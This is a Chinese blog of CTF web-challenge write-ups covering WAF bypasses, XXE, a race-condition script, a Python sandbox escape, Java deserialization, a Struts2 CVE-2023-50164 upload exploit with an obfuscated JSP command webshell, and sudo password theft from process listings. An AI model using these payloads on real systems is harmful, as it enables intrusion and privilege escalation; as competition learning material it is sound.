    http_response_code(404);
}
```

爆破出key为`114514`，越来越想骂出题人了。

得到shell后在网页运行目录发现被混淆了的php:`connect.php`，看看index.php的源码：

```php
&lt;?php
include &apos;connect.php&apos;;

$my_money = 3.00;
$msg = &quot;&quot;;
$target_id = 0;

if (isset($_POST[&apos;buy&apos;]) &amp;&amp; isset($_POST[&apos;item_id&apos;])) {
    $target_id = (int)$_POST[&apos;item_id&apos;];

    if ($target_id &gt; 0) {
        try {
            $stmt = $pdo-&gt;prepare(&quot;CALL buy_item(?, ?)&quot;);
            $stmt-&gt;execute([$target_id, $my_money]);
            $res = $stmt-&gt;fetch();
            $msg = $res[&apos;final_message&apos;];
            $my_money -= $res[&apos;current_price&apos;];
        } catch (Exception $e) {
            $msg = &quot;Transaction Error: &quot; . $e-&gt;getMessage();
        }
    } else {
        $msg = &quot;Invalid item selected.&quot;;
    }
} else {
    try {
        $stmt = $pdo-&gt;query(&quot;SELECT id, name, price FROM goods ORDER BY id ASC&quot;);
        if ($stmt === false) {
            exit;
        }
        $goods_list = $stmt-&gt;fetchAll();
    } catch (Exception $e) {
        die(&quot;Error fetching goods list.&quot;);
    }
}
```

正好`shell.php`能直接执行php代码，我们直接仿照源码去白嫖flag就行了：

```bash
?key=114514
&amp;code=include &apos;../connect.php&apos;;$stmt=$pdo-&gt;prepare(&apos;CALL buy_item(3,100)&apos;);$stmt-&gt;execute();var_dump($stmt-&gt;fetch());
```

## Go
&gt; 我们开发了一个由 Go 语言编写的安全验证系统。防火墙（WAF）发誓它已经拦截了所有的 admin 角色请求。

打开网页只得到一个json:

```json
{
	&quot;username&quot;: &quot;guest&quot;,
	&quot;role&quot;: &quot;guest&quot;,
	&quot;message&quot;: &quot;Access denied. Only role=&apos;admin&apos; can view the flag.&quot;
}
```

看题目提示，盲猜向页面post传json：

```json
{
	&quot;role&quot;: &quot;admin&quot;
}
```

果然得到：

```json
{
    &quot;error&quot;: &quot;🚫 WAF Security Alert: &apos;admin&apos; value is strictly forbidden in &apos;role&apos; field!&quot;
}
```

利用`Go`的`json.Unmarshal`在映射`json`到`go结构体`时，默认**不区分键名大小写**，构造如下payload即可得到flag：

```json
{
    &quot;Role&quot;: &quot;admin&quot;
}
```

## Mini Blog
&gt; 完全安全的博客系统。

`XXE`

博客发布页，查看发布文章`/create`页面的源码，发现js代码会将我们的内容转为xml上传，随便写点，上传抓包，果然发现xml：

```xml
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;post&gt;
    &lt;title&gt;123&lt;/title&gt;
    &lt;content&gt;123&lt;/content&gt;
&lt;/post&gt;
```

直接改为xxe的payload即可得到flag。

```xml
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE note [
  &lt;!ENTITY xxe SYSTEM &quot;file:///flag&quot;&gt;
]&gt;
&lt;post&gt;
  &lt;title&gt;&amp;xxe;&lt;/title&gt;
  &lt;content&gt;XXE&lt;/content&gt;
&lt;/post&gt;
```

## ez_race
&gt; 狠狠赚钱

考点就是Race Condition,`条件竞争`

下载得到网页的源码，找到`bank/views.py&gt;WithdrawView&gt;form_valid`这里，也就是代码的第25行：

```python
    def form_valid(self, form):
        amount = form.cleaned_data[&quot;amount&quot;]
        with transaction.atomic():
            time.sleep(1.0)
            user = models.User.objects.get(pk=self.request.user.pk)
            if user.money &gt;= amount:
                user.money = F(&apos;money&apos;) - amount
                user.save()
                models.WithdrawLog.objects.create(user=user, amount=amount)
        
        user.refresh_from_db()
        if user.money &lt; 0:
            return HttpResponse(os.environ.get(&quot;FLAG&quot;, &quot;flag{flag_test}&quot;))
            
        return redirect(self.get_success_url())
```

这里的`time.sleep(1.0)`明显是出题人故意留给我们的切入点，同时快速重复发包，让两次线程都查询到`if user.money &gt;= amount`成立，发生两次扣款，直到把钱扣成负的。

我们直接用测试帐号登录，10块钱的新手红包就不领了，在充值界面发包拦截得到cookie内的`sessionid`、`csrftoken`，和请求体里的`csrfmiddlewaretoken`，这个字段是每次进入充值页面时服务器生成在表单里的隐藏字段，但是时效性过长，能够被多次使用，所以我们只获取一次就够了，编写脚本发包：

```php
import requests
import threading
import re

URL: str = &quot;http://challenge.shc.tf:31301&quot;

COOKIES: dict[str, str] = {
    &quot;sessionid&quot;: &quot;5s8jbubxrjamavcvy53r9dfhgrqn2uvb&quot;, 
    &quot;csrftoken&quot;: &quot;ta6UqD8PHRlRfYgmKkD2upwKGBzvKmgt&quot;
}

DATA: dict[str, str] = {
    &quot;amount&quot;: 10, 
    &quot;csrfmiddlewaretoken&quot;: &quot;1jZpWo6xPMHslmXCQCPquxAFkgarj5gckjV9cR4cmtS9qa3OqMiiOMWfQHzMThmv&quot;
}

def attack(debug=False):
    response = requests.post(URL+&quot;/withdraw&quot;,
        data = DATA,
        cookies = COOKIES,
    )
    html = response.text
    print(f&quot;[+] Status: {response.status_code}, Response Length: {len(html)}&quot;)
    if &quot;SHCTF{&quot; in response.text: print(f&quot;[!] Found flag: {re.search(r&apos;SHCTF\{.*\}&apos;, response.text)[0]}&quot;)
    if debug: print(f&quot;[+] Response: {html}&quot;)

t1 = threading.Thread(target=attack)
t2 = threading.Thread(target=attack)

t1.start()
t2.start()

t1.join()
t2.join()

# attack(debug=True)
```

并行太多可能导致服务器返回502，两个线程足够了。这样我们就能倒欠服务器10块，得到flag。最后再去把新手礼包领了就两不相欠了:)

## Eazy_Pyrunner
&gt; 任何人都可以运行自己的 Python 程序！不过大嗨客就算了，还有运行的程序必须是我喜欢的。

题目上写的是中等难度，题本身难度确实不高，但是黑盒，真的很折磨人，这里对着打进去后找到的源码来讲比较清晰一点：

```python
from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys

app = Flask(__name__)

@app.route(&apos;/&apos;)
def index():
    file_name = request.args.get(&apos;file&apos;, &apos;pages/index.html&apos;)
    try:
        with open(file_name, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            content = f.read()
    except Exception as e:
        with open(&apos;pages/index.html&apos;, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            content = f.read()
    
    return render_template_string(content)

def waf(code):
    blacklisted_keywords = [&apos;import&apos;, &apos;open&apos;, &apos;read&apos;, &apos;write&apos;, &apos;exec&apos;, &apos;eval&apos;, &apos;__&apos;, &apos;os&apos;, &apos;sys&apos;, &apos;subprocess&apos;, &apos;run&apos;, &apos;flag&apos;, &quot;&apos;&quot;, &apos;&quot;&apos;]
    for keyword in blacklisted_keywords:
        if keyword in code:
            return False
    return True    

@app.route(&apos;/execute&apos;, methods=[&apos;POST&apos;])
def execute_code():
    code = request.json.get(&apos;code&apos;, &apos;&apos;)
    
    if not code:
        return jsonify({&apos;error&apos;: &apos;请输入Python代码&apos;})
    
    if not waf(code):
        return jsonify({&apos;error&apos;: &apos;Hacker!&apos;})
    
    try:
        with tempfile.NamedTemporaryFile(mode=&apos;w&apos;, suffix=&apos;.py&apos;, delete=False) as f:
            f.write(f&quot;&quot;&quot;import sys

sys.modules[&apos;os&apos;] = &apos;not allowed&apos;

def is_my_love_event(event_name):
    return event_name.startswith(&quot;Nothing is my love but you.&quot;)

def my_audit_hook(event_name, arg):
    if len(event_name) &gt; 0:
        raise RuntimeError(&quot;Too long event name!&quot;)
    if len(arg) &gt; 0:
        raise RuntimeError(&quot;Too long arg!&quot;)
    if not is_my_love_event(event_name):
        raise RuntimeError(&quot;Hacker out!&quot;)

__import__(&apos;sys&apos;).addaudithook(my_audit_hook)

{code}&quot;&quot;&quot;)
            temp_file_name = f.name
        
        result = subprocess.run(
            [sys.executable, temp_file_name],
            capture_output=True,
            text=True,
            timeout=10
        )
        
        os.unlink(temp_file_name)
        
        return jsonify({
            &apos;stdout&apos;: result.stdout,
            &apos;stderr&apos;: result.stderr
        })
    
    except subprocess.TimeoutExpired:
        return jsonify({&apos;error&apos;: &apos;代码执行超时（超过10秒）&apos;})
    except Exception as e:
        return jsonify({&apos;error&apos;: f&apos;执行出错: {str(e)}&apos;})
    finally:
        if os.path.exists(temp_file_name):
            os.unlink(temp_file_name)

if __name__ == &apos;__main__&apos;:
    app.run(debug=True)
```

waf里能看到单双引号都被过滤了，所以构造字符串我们使用`chr(i)+chr(j)`或`bytes([i, j]).decode()`绕过，其他的模块名可以直接全角字符绕过。

盲打的时候就慢慢试出来waf了，先看看有什么模块
```python
print(ｓｙｓ.modules)
```

```python
{
    &apos;sys&apos;: &lt;module &apos;sys&apos; (built-in)&gt;,
    &apos;builtins&apos;: &lt;module &apos;builtins&apos; (built-in)&gt;,
    &apos;_frozen_importlib&apos;: &lt;module &apos;_frozen_importlib&apos; (frozen)&gt;,
    &apos;_imp&apos;: &lt;module &apos;_imp&apos; (built-in)&gt;,
    &apos;_thread&apos;: &lt;module &apos;_thread&apos; (built-in)&gt;,
    &apos;_warnings&apos;: &lt;module &apos;_warnings&apos; (built-in)&gt;,
    &apos;_weakref&apos;: &lt;module &apos;_weakref&apos; (built-in)&gt;,
    &apos;_io&apos;: &lt;module &apos;_io&apos; (built-in)&gt;,
    &apos;marshal&apos;: &lt;module &apos;marshal&apos; (built-in)&gt;,
    &apos;posix&apos;: &lt;module &apos;posix&apos; (built-in)&gt;,
    &apos;_frozen_importlib_external&apos;: &lt;module &apos;_frozen_importlib_external&apos; (frozen)&gt;,
    &apos;time&apos;: &lt;module &apos;time&apos; (built-in)&gt;,
    &apos;zipimport&apos;: &lt;module &apos;zipimport&apos; (frozen)&gt;,
    &apos;_codecs&apos;: &lt;module &apos;_codecs&apos; (built-in)&gt;,
    &apos;codecs&apos;: &lt;module &apos;codecs&apos; (frozen)&gt;,
    &apos;encodings.aliases&apos;: &lt;module &apos;encodings.aliases&apos; from &apos;/usr/local/lib/python3.12/encodings/aliases.py&apos;&gt;,
    &apos;encodings&apos;: &lt;module &apos;encodings&apos; from &apos;/usr/local/lib/python3.12/encodings/__init__.py&apos;&gt;,
    &apos;encodings.utf_8&apos;: &lt;module &apos;encodings.utf_8&apos; from &apos;/usr/local/lib/python3.12/encodings/utf_8.py&apos;&gt;,
    &apos;_signal&apos;: &lt;module &apos;_signal&apos; (built-in)&gt;,
    &apos;_abc&apos;: &lt;module &apos;_abc&apos; (built-in)&gt;,
    &apos;abc&apos;: &lt;module &apos;abc&apos; (frozen)&gt;,
    &apos;io&apos;: &lt;module &apos;io&apos; (frozen)&gt;,
    &apos;__main__&apos;: &lt;module &apos;__main__&apos; from &apos;/tmp/tmp7ysmi_p1.py&apos;&gt;,
    &apos;_stat&apos;: &lt;module &apos;_stat&apos; (built-in)&gt;,
    &apos;stat&apos;: &lt;module &apos;stat&apos; (frozen)&gt;,
    &apos;_collections_abc&apos;: &lt;module &apos;_collections_abc&apos; (frozen)&gt;,
    &apos;genericpath&apos;: &lt;module &apos;genericpath&apos; (frozen)&gt;,
    &apos;posixpath&apos;: &lt;module &apos;posixpath&apos; (frozen)&gt;,
    &apos;os.path&apos;: &lt;module &apos;posixpath&apos; (frozen)&gt;,
    &apos;os&apos;: &apos;not allowed&apos;,
    &apos;_sitebuiltins&apos;: &lt;module &apos;_sitebuiltins&apos; (frozen)&gt;,
    &apos;site&apos;: &lt;module &apos;site&apos; (frozen)&gt;,
    &apos;unicodedata&apos;: &lt;module &apos;unicodedata&apos; from &apos;/usr/local/lib/python3.12/lib-dynload/unicodedata.cpython-312-x86_64-linux-musl.so&apos;&gt;
}

```

可以看到`os`被改为了`not allowed`，有个`posix`还是很有用的，不过。。。

```python
modules = ｓｙｓ.modules
po6 = modules[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)]

try: po6.listdir()
except Exception as e: print(e)
```

得到：
```bash
Too long event name!
```

这提示也太坑人了，对不上脑洞的我只好去查一次`__main__`：

```python
modules = ｓｙｓ.modules
builtins = modules[chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)]
getattr = builtins.getattr

dunder_main = chr(95)+chr(95)+chr(109)+chr(97)+chr(105)+chr(110)+chr(95)+chr(95)
dunder_dict = chr(95)+chr(95)+chr(100)+chr(105)+chr(99)+chr(116)+chr(95)+chr(95)

try: print(getattr(modules[dunder_main], dunder_dict)) 
except Exception as e: print(e)
```

得到：
```python
{
    &apos;__name__&apos;: &apos;__main__&apos;,
    &apos;__doc__&apos;: None,
    &apos;__package__&apos;: None,
    &apos;__loader__&apos;: &lt;_frozen_importlib_external.SourceFileLoader object at 0x7f177112ab40&gt;,
    &apos;__spec__&apos;: None,
    &apos;__annotations__&apos;: {},
    &apos;__builtins__&apos;: &lt;module &apos;builtins&apos; (built-in)&gt;,
    &apos;__file__&apos;: &apos;/tmp/tmpfxgm71qm.py&apos;,
    &apos;__cached__&apos;: None,
    &apos;sys&apos;: &lt;module &apos;sys&apos; (built-in)&gt;,
    &apos;is_my_love_event&apos;: &lt;function is_my_love_event at 0x7f17713faac0&gt;,
    &apos;my_audit_hook&apos;: &lt;function my_audit_hook at 0x7f1771165580&gt;,
    ...
}
```

这里就能看到审计函数`is_my_love_event`和审计钩子`my_audit_hook`，不过不看源码谁能猜到，最后还是到处碰壁，同时覆盖`len`函数和`is_my_love_event`就能绕过waf：

```python
modules = ｓｙｓ.modules

len = lambda x: 0
is_my_love_event = lambda x: True

po6 = modules[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)]

try: print(po6.listdir(chr(47))) # /
except Exception as e: print(e)
```

最后也是成功读取到根目录：

```python
[&apos;bin&apos;, &apos;dev&apos;, &apos;etc&apos;, &apos;home&apos;, &apos;lib&apos;, &apos;media&apos;, &apos;mnt&apos;, &apos;opt&apos;, &apos;proc&apos;, &apos;root&apos;, &apos;run&apos;, &apos;sbin&apos;, &apos;srv&apos;, &apos;sys&apos;, &apos;tmp&apos;, &apos;usr&apos;, &apos;var&apos;, &apos;flag&apos;, &apos;read_flag&apos;, &apos;app&apos;]
```

### posix

`/flag`直接读是没有权限的，因为`posix`没有`popen`，所以只能用`system`写出`/read_flag &gt; /tmp/flag`，再用`posix.read(posix.open(&quot;/tmp/flag&quot;, 0), 100)`读文件：

```python
modules = ｓｙｓ.modules

len = lambda x: 0
is_my_love_event = lambda x: True

po6 = modules[chr(112)+chr(111)+chr(115)+chr(105)+chr(120)]
tmp_Flag = chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)
cmd = chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(95)+chr(102)+chr(108)+chr(97)+chr(103)+chr(32)+chr(62)+chr(32) + tmp_Flag

try:
    po6.ｓｙｓｔｅｍ(cmd)
    fd = po6.ｏｐｅｎ(tmp_Flag, 0)
    print(po6.ｒｅａｄ(fd, 20000))
except Exception as e: print(e)
```

### os

之前也看到，`os`被赋值为了`not allowed`，我们想要得到**模块os**，就要先删除这个**字符串os**，再重新导入：

```python
modules = ｓｙｓ.modules
builtins = modules[chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)]
getattr = builtins.getattr

len = lambda x: 0
is_my_love_event = lambda x: True

modules.pop(chr(111)+chr(115))

dunder_imp = chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)
imp = getattr(builtins, dunder_imp)
OS = imp(chr(111)+chr(115))

print(OS.ｐｏｐｅｎ(chr(108)+chr(115)+chr(32)+chr(47)).ｒｅａｄ()) # ls /
```

### Site

除了直接弹出，我们知道`site`模块在初始化时自动导入，它内部导入了`os`。即使`sys.modules[&apos;os&apos;]`被修改了，`site`模块因为加载更早，它内部的`os`仍是纯净的：

```python
modules = ｓｙｓ.modules

len = lambda x: 0
is_my_love_event = lambda x: True

site = modules[chr(115)+chr(105)+chr(116)+chr(101)]
OS = site.ｏｓ
modules[chr(111)+chr(115)] = OS

print(OS.ｐｏｐｅｎ(chr(108)+chr(115)+chr(32)+chr(47)).ｒｅａｄ())
```

注意这里用`modules[chr(111)+chr(115)] = OS`还原`os`是必要的，因为`os.popen`在 Python 3 中本质上就是`subprocess.Popen`的一个封裝，而`subprocess`模块初始化时又需要用到`os`内的函数，不加就会遇到以下报错：

```python
Traceback (most recent call last):
  File &quot;/tmp/tmppu69wi2n.py&quot;, line 30, in &lt;module&gt;
    print(OS.ｐｏｐｅｎ(chr(108)+chr(115)+chr(32)+chr(47)).ｒｅａｄ())
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File &quot;&lt;frozen os&gt;&quot;, line 1020, in popen
  File &quot;/usr/local/lib/python3.12/subprocess.py&quot;, line 106, in &lt;module&gt;
    _waitpid = os.waitpid
               ^^^^^^^^^^
AttributeError: &apos;str&apos; object has no attribute &apos;waitpid&apos;
```

报错也解释了，`os`是字符串，而字符串显然没有`waitpid`属性。

所以原理上`subprocess`，也能实现`popen`的功能，但是因为是这道题里os模块不可用，想用`subprocess`还得先还原`os`，就有点多此一举了。

## 你也懂java？

这道题是非常基础的`Java 反序列化` **(Java Deserialization)**，

给出了网页源码：

```java
public void handle(HttpExchange exchange) throws IOException {
    String method = exchange.getRequestMethod();
    String path = exchange.getRequestURI().getPath();

    if (&quot;POST&quot;.equalsIgnoreCase(method) &amp;&amp; &quot;/upload&quot;.equals(path)) {
        try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
            Object obj = ois.readObject();
            if (obj instanceof Note) {
                Note note = (Note) obj;
                if (note.getFilePath() != null) {
                    echo(readFile(note.getFilePath()));
                }
            }
        } catch (Exception e) {}
    }
}
```

和危险对象类`Note.class`，直接在这里构造反序列化：

```java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

import java.net.URI;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;

public class Note implements Serializable {
    private static final long serialVersionUID = 1L;

    private String title;
    private String message;
    private String filePath;

    public Note(String title, String message, String filePath) {
        this.title = title;
        this.message = message;
        this.filePath = filePath;
    }

    public String getTitle() {
        return title;
    }

    public String getMessage() {
        return message;
    }

    public String getFilePath() {
        return filePath;
    }

    public static void main(String[] args) throws Exception {
        Note payload = new Note(&quot;&quot;, &quot;&quot;, &quot;/flag&quot;);
        String URL = &quot;http://challenge.shc.tf:31372/upload&quot;;

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(payload);
        byte[] serializedData = baos.toByteArray();

        // 使用 HttpClient 发送 POST 请求
        HttpClient client = HttpClient.newHttpClient();
        HttpRequest request = HttpRequest.newBuilder()
                .uri(URI.create(URL))
                .header(&quot;Content-Type&quot;, &quot;application/octet-stream&quot;)
                .POST(HttpRequest.BodyPublishers.ofByteArray(serializedData))
                .build();

        HttpResponse&lt;String&gt; response = client.send(request, HttpResponse.BodyHandlers.ofString());

        System.out.println(response.body());
    }
}
```

这里使用 Java 11 的 HttpClient 类来发包，可以少写不少代码，~~虽然还是很多~~

## BabyJavaUpload

&gt; 像Java这么高级的编程语言，CVE里面应该不会存着什么乱起八糟的getshell漏洞吧？）

考点为 **CVE-2023-50164(S2-066)** 文件上传漏洞。

打开就是一个文件上传页，允许上传绝大部分的文件类型，但是不知道上传路径，我们随便上传一个文件，文件名最后加一个斜杠为非法文件路径，能得到报错：

```java
java.lang.IllegalArgumentException: Parameter &apos;destFile&apos; is not a file: /usr/local/tomcat/webapps/ROOT/WEB-INF/uplOadAS/up1oad
	org.apache.commons.io.FileUtils.requireFile(FileUtils.java:2737)
	org.apache.commons.io.FileUtils.requireFileIfExists(FileUtils.java:2766)
	org.apache.commons.io.FileUtils.copyFile(FileUtils.java:844)
	org.apache.commons.io.FileUtils.copyFile(FileUtils.java:756)
	blckder02.struts2.action.UploadAction.execute(UploadAction.java:30)
	sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	java.lang.reflect.Method.invoke(Method.java:498)
	ognl.OgnlRuntime.invokeMethodInsideSandbox(OgnlRuntime.java:1245)
	ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:1230)
	ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1958)
	ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
...
```

这里泄漏了后端使用了 **Apache Struts2** 框架，使用 `commons-io` 库来处理文件，并且暴露了Web 的绝对路径是 `/usr/local/tomcat/webapps/ROOT/`，所以这里我们可以利用利用 Struts2 的参数覆盖漏洞 (CVE-2023-50164)：

Struts2 有一个特性：它会自动将 HTTP 参数绑定到 Action 类的变量上。对于文件上传，通常会有三个变量：

1. `upload` (文件对象)
2. `uploadContentType` (文件类型)
3. `uploadFileName` (文件名)

**漏洞原理**：  
CVE-2023-50164 利用了 Struts2 的**参数解析逻辑缺陷**，攻击者可以通过构造特殊的 HTTP 请求，让 Struts2 **先设置正常的文件名，然后又被恶意参数覆盖**。

我们先随便上传个文件，抓住数据包：
```js
POST /upload.action HTTP/1.1
Host: challenge.shc.tf:31316
Content-Length: 200
Cache-Control: max-age=0
Origin: http://challenge.shc.tf:31316
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysGFDCPf3teSEInOj
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Connection: keep-alive

------WebKitFormBoundarysGFDCPf3teSEInOj
Content-Disposition: form-data; name=&quot;myfile&quot;; filename=&quot;a.txt&quot;
Content-Type: application/octet-stream

123

------WebKitFormBoundarysGFDCPf3teSEInOj--
```

可以看到，这里上传的文件表单的name字段值为`myfile`，我们将其修改为首字母大写的`Myfile`，然后在url里添加GET参数`?myfileFileName=../../../a.txt`

```js
POST /upload.action?myfileFileName=../../../a.txt HTTP/1.1
Host: challenge.shc.tf:31316
Content-Length: 200
Origin: http://challenge.shc.tf:31316
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysGFDCPf3teSEInOj
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Connection: keep-alive

------WebKitFormBoundarysGFDCPf3teSEInOj
Content-Disposition: form-data; name=&quot;Myfile&quot;; filename=&quot;a.txt&quot;
Content-Type: application/octet-stream

123

------WebKitFormBoundarysGFDCPf3teSEInOj--
```


- 这样，服务器接受到的 `name` 属性改为 **`Myfile`** (首字母大写)，而不是代码里定义的 `myfile`。
- **由于大小写不匹配**，Struts2 的文件上传拦截器（FileUpload Interceptor）虽然解析了文件内容，但**没有正确地将文件名绑定到 Action 的 `myfileFileName` 属性上**（或者绑定到了错误的临时变量）。
- 此时，Action 中的 `myfileFileName` 属性可能还是空的，或者被设为了默认值。
-
- 然后 Struts2 的参数拦截器（Parameters Interceptor）**会在文件上传拦截器之后运行**。当它扫描到这个 GET 参数 `myfileFileName`，发现 Action 类中正好有对应的 `setMyfileFileName()` 方法。
- 
- 于是，它**直接将 `../../../a.txt` 赋值给了 `myfileFileName` 属性**。

这样，路径穿越文件上传就发生了，此时我们直接访问`/a.txt`就能成功得到我们刚刚上传的 123 了，于是，我们就能直接上传木马，得到webshell。

```js
POST /upload.action?myfileFileName=../../../a.jsp HTTP/1.1
Host: challenge.shc.tf:31316
Content-Length: 912
Origin: http://challenge.shc.tf:31316
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypNlUA73qbyn6x9gd
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Connection: keep-alive

------WebKitFormBoundarypNlUA73qbyn6x9gd
Content-Disposition: form-data; name=&quot;Myfile&quot;; filename=&quot;a.jsp&quot;
Content-Type: application/octet-stream

&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot;  language=&quot;java&quot; %&gt;
&lt;%
    if(request.getParameter(&quot;cmd&quot;)!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter(&quot;cmd&quot;) );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print(&quot;&lt;pre&gt;&quot;);
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print(&quot;&lt;/pre&gt;&quot;);
    }
%&gt;
------WebKitFormBoundarypNlUA73qbyn6x9gd--

```

## sudoooo0

&gt; 有shell了交个flag先

打开就是403，扫盘起手，得到`webshell.php` (dirsearch默认字典扫不出来)，返回空白页，接下来就是爆破参数(密码)，得到`cmd`，后台的木马就是简单的php一句话：`&lt;?php @eval($_GET[&apos;cmd&apos;]);?&gt;`，在根目录发现：

```bash

total 8
drwxr-xr-x.   1 root root  51 Feb 22 10:28 .
drwxr-xr-x.   1 root root  51 Feb 22 10:28 ..
lrwxrwxrwx.   1 root root   7 Nov  7 17:40 bin -&gt; usr/bin
drwxr-xr-x.   2 root root   6 Nov  7 17:40 boot
drwxr-xr-x    5 root root 360 Feb 22 10:28 dev
-rwxr-xr-x.   1 root root 785 Dec 14 04:47 docker-entrypoint.sh
drwxr-xr-x.   1 root root  50 Feb 22 10:28 etc
-r--------.   1 root root  39 Feb 22 10:28 flag
drwxr-xr-x.   1 root root  17 Dec 14 04:47 home
lrwxrwxrwx.   1 root root   7 Nov  7 17:40 lib -&gt; usr/lib
lrwxrwxrwx.   1 root root   9 Nov  7 17:40 lib64 -&gt; usr/lib64
drwxr-xr-x.   2 root root   6 Dec  8 00:00 media
drwxr-xr-x.   2 root root   6 Dec  8 00:00 mnt
drwxr-xr-x.   2 root root   6 Dec  8 00:00 opt
dr-xr-xr-x. 666 root root   0 Feb 22 10:28 proc
drwx------.   2 root root  37 Dec  8 00:00 root
drwxr-xr-x.   1 root root  48 Feb 22 10:28 run
lrwxrwxrwx.   1 root root   8 Nov  7 17:40 sbin -&gt; usr/sbin
drwxr-xr-x.   2 root root   6 Dec  8 00:00 srv
dr-xr-xr-x.  13 root root   0 Jan 30 15:57 sys
drwxrwxrwt.   1 root root   6 Feb 22 10:28 tmp
drwxr-xr-x.   1 root root  83 Dec  8 00:00 usr
drwxr-xr-x.   1 root root  17 Dec  8 22:42 var
```

很明显根目录下flag要提权，先查查SUID文件:

```bash
&gt; find / -perm -u=s -type f 2&gt;/dev/null

/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
```

没有明显能利用提权的文件，再查查进程：
```bash
&gt; ps -ef

UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 10:28 ?        00:00:00 apache2 -DFOREGROUND
ctf           25       1  0 10:28 ?        00:00:00 script -q -f -c bash -li -c &quot;echo 0dy9e6 | sudo -S -v &gt;/dev/null 2&gt;&amp;1; sleep infinity&quot; /dev/null
ctf           26      25  0 10:28 pts/0    00:00:00 sleep infinity
ctf           55       1  0 10:29 ?        00:00:00 apache2 -DFOREGROUND
ctf           63       1  0 10:29 ?        00:00:00 apache2 -DFOREGROUND
ctf           82       1  0 10:32 ?        00:00:00 apache2 -DFOREGROUND
ctf           87       1  0 10:33 ?        00:00:00 apache2 -DFOREGROUND
ctf           88       1  0 10:33 ?        00:00:00 apache2 -DFOREGROUND
ctf           89       1  0 10:33 ?        00:00:00 apache2 -DFOREGROUND
ctf           90       1  0 10:33 ?        00:00:00 apache2 -DFOREGROUND
ctf           93       1  0 10:33 ?        00:00:00 apache2 -DFOREGROUND
ctf           98       1  0 10:36 ?        00:00:00 apache2 -DFOREGROUND
ctf           99       1  0 10:37 ?        00:00:00 apache2 -DFOREGROUND
ctf          127      88  0 10:46 ?        00:00:00 sh -c -- ps -ef
ctf          128     127  0 10:46 ?        00:00:00 ps -ef
```

很明显，这里 PID 为 25 的进程：
- `script -q -f -c bash -li -c &quot;echo 0dy9e6 | sudo -S -v &gt;/dev/null 2&gt;&amp;1; sleep infinity&quot; /dev/null`

`echo 0dy9e6 | sudo -S -v`直接写明了sudo密码为`0dy9e6`，配合`-S`参数允许sudo从管道接受密码，我们就能直接得到root权限了。但是注意，因为sudo会新开shell，system函数得不到这个结果，所以我们仿照这段命令，使用script命令得到全部的输出：`script -q -c &quot;echo 0dy9e6 | sudo -S cat /flag&quot;`。

&gt; ```bash
&gt; &gt; tldr script
&gt; Record all terminal output to a typescript file.
&gt; ```</content:encoded></item><item><title>furryCTF Web 个人题解</title><link>https://blog.erina.top/blog/furryctf/</link><guid isPermaLink="true">https://blog.erina.top/blog/furryctf/</guid><description>furryCTF web方向的wp</description><content:encoded>furryCTF虽然名字不是很好，但题是很舒服地ak了，刚刚被ciscn爆揍的我做这些题总算是舒服了一点了，现在这个时间节点启还有SHCTF前两周目倒是ak了，启航杯刚打完，又被薄纱了，HGAME更是第一题都不会，www

## 固若金汤(热身赛)

&gt; Nexus Corporation 刚刚完成了其核心门户网站的 3.1.0 版本升级。
&gt; CTO 自信地宣称：“为了符合 ISO-27001 标准，我们实施了严格的密钥轮换策略，并修复了所有的 SQL 注入漏洞。”
&gt; “现在的系统固若金汤，即便是内部员工也需要多因素认证才能访问。”

&gt; &gt; 或许dirsearch有惊喜？
